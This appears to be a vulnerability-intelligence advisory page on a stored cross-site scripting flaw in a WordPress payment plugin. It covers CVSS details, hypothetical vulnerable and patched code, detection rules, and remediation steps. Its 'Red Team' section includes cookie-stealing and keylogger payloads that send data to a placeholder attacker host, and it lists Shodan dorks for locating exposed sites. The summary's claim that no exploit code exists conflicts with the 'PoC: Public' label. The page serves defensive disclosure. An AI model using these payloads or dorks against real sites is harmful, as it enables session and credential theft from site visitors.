☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Vcita logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-22661

CVE-2025-22661 Cross-Site Scripting in Vcita
📅 PUBLISHED: 2025-01-21 18:15 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.19%
👁️
0.19% probability
4.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-22661 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the WordPress plugin "Online Payments – Get Paid with PayPal, Square & Stripe" by vcita, versions up to and including 3.20.0. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts into pages, which will execute whenever a user accesses the compromised page. The vulnerability stems from improper neutralization of input during web page generation. Given the plugin's role in handling payment processing, this flaw could be leveraged to steal session cookies, redirect users to phishing pages, or deface payment forms. No public exploit code or patch is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. The supply chain risk is elevated because:

  • No patch is available as of the analysis date, leaving all installations of the plugin vulnerable.
  • The plugin handles sensitive payment data (PayPal, Square, Stripe), making it a high-value target for attackers.
  • Users relying on automatic updates are unprotected until the vendor releases a fix.
  • The plugin's codebase is proprietary, limiting community auditing.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
  • Base Score: 6.5 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: Low (PR:L) – requires contributor-level access to WordPress
  • User Interaction: Required (UI:R) – victim must visit the compromised page
  • Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
  • Confidentiality Impact: Low (C:L)
  • Integrity Impact: Low (I:L)
  • Availability Impact: Low (A:L)

Threat Level: Medium. While the CVSS score is moderate, the stored nature of the XSS and the plugin's payment context elevate the real-world risk. An attacker could use this to harvest payment tokens or admin credentials.

Deep Dive & Mechanics

The vulnerability exists in the paypal-payment-button-by-vcita plugin. The plugin fails to properly sanitize user-supplied input before storing it in the WordPress database and later rendering it on the frontend. Specifically, fields such as button titles, descriptions, or custom CSS classes are not escaped before being output in the HTML.

Attack Flow:

  1. An attacker with contributor-level access (or higher) creates or edits a payment button via the plugin's admin interface.
  2. The attacker injects a malicious JavaScript payload into an unsanitized field (e.g., button title).
  3. The plugin stores the payload in the wp_postmeta table.
  4. When any user (including administrators) views a page containing the payment button, the stored payload executes in their browser.
  5. The payload can steal cookies, exfiltrate data, or perform actions on behalf of the victim.

Root Cause: The plugin uses echo or the_content filter without applying WordPress's built-in escaping functions like esc_html() or wp_kses_post().

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common XSS fixes.

Vulnerable Code (v3.20.0):

// In vcita-payment-button.php
function render_button($atts) {
    $title = $atts['title']; // No sanitization
    echo "<div class='vcita-button' data-title='$title'>Pay Now</div>";
}

Patched Code (Hypothetical):

function render_button($atts) {
    $title = esc_js($atts['title']); // Sanitize for JavaScript context
    echo "<div class='vcita-button' data-title='" . esc_attr($title) . "'>Pay Now</div>";
}

The patched version uses esc_attr() for HTML attribute context and esc_js() for JavaScript context, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress instance with plugin v3.20.0 installed and activated.
  • Contributor-level account credentials.

Exploitation Steps:

  1. Log in as a contributor.
  2. Navigate to the payment button creation page (e.g., /wp-admin/admin.php?page=vcita-payment-button).
  3. In the "Button Title" field, inject the following payload:
    "><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  4. Save the button.
  5. Craft a social engineering email to an administrator containing a link to the page with the malicious button.
  6. When the admin visits the page, the script executes and sends their cookies to the attacker's server.

Alternative Payload (Keylogger):

"><input onfocus="document.addEventListener('keydown',function(e){fetch('https://attacker.com/k?k='+e.key)})">

Blue Team (Detection & Hardening)

Detection:

  • Monitor WordPress admin logs for unusual changes to payment button settings.
  • Look for HTTP requests to unknown external domains from the WordPress admin interface.
  • Scan the wp_postmeta table for suspicious JavaScript in meta fields associated with the plugin.

Hardening:

  • Immediately disable the plugin if not critical for business operations.
  • Implement a Web Application Firewall (WAF) rule to block common XSS patterns in POST requests to /wp-admin/admin-ajax.php or plugin-specific endpoints.
  • Restrict contributor-level access to only trusted users.
  • Use a WordPress security plugin (e.g., Wordfence) to monitor file changes and block malicious requests.

Indicators of Compromise (IOCs)

File-Based IOCs:

  • Modified files in /wp-content/plugins/paypal-payment-button-by-vcita/ (check file integrity via checksums).
  • Suspicious entries in wp_postmeta with meta_key containing vcita and meta_value containing <script> tags.

Network IOCs:

  • Outbound HTTP requests to unknown IPs or domains from the WordPress server.
  • Requests containing document.cookie in the query string.

Log IOCs:

  • WordPress debug log entries showing PHP warnings related to vcita functions.
  • Apache/Nginx access logs with POST requests to /wp-admin/admin-ajax.php containing XSS payloads.

Detection Engineering

YARA Rule

rule CVE_2025_22661_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in vcita payment plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-22661"
    strings:
        $payload1 = /<script[^>]*>.*?<\/script>/i
        $payload2 = /on\w+\s*=\s*["']?[^"']*?\(/i
        $plugin_path = /paypal-payment-button-by-vcita/
    condition:
        $plugin_path and ($payload1 or $payload2)
}

Sigma Rule

title: CVE-2025-22661 - Stored XSS in vcita Payment Plugin
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS attempts against vcita payment plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=vcita_save_button'
        cs-uri-query|re: '(<script|on\w+=)'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in button titles (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-22661 - Stored XSS Payload Exfiltration"; flow:to_server,established; content:"document.cookie"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin if it is not essential for business operations.
  2. Restrict contributor-level accounts to only trusted personnel.
  3. Implement a WAF with rules to block XSS payloads in POST requests to plugin endpoints.

Long-Term Fix:

  • Monitor the vcita plugin page for a patched version (expected >3.20.0).
  • Apply the update immediately once released.
  • Consider switching to an alternative payment plugin with active security maintenance.

Workaround:

  • Add the following code to the theme's functions.php to sanitize output (use with caution):
    add_filter('the_content', function($content) {
        if (strpos($content, 'vcita') !== false) {
            $content = wp_kses_post($content);
        }
        return $content;
    });
    

Valters IT
Securing WordPress Ecosystems

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/paypal-payment-button-by-vcita"
http.html:"vcita" "paypal-payment-button-by-vcita"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-22661/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.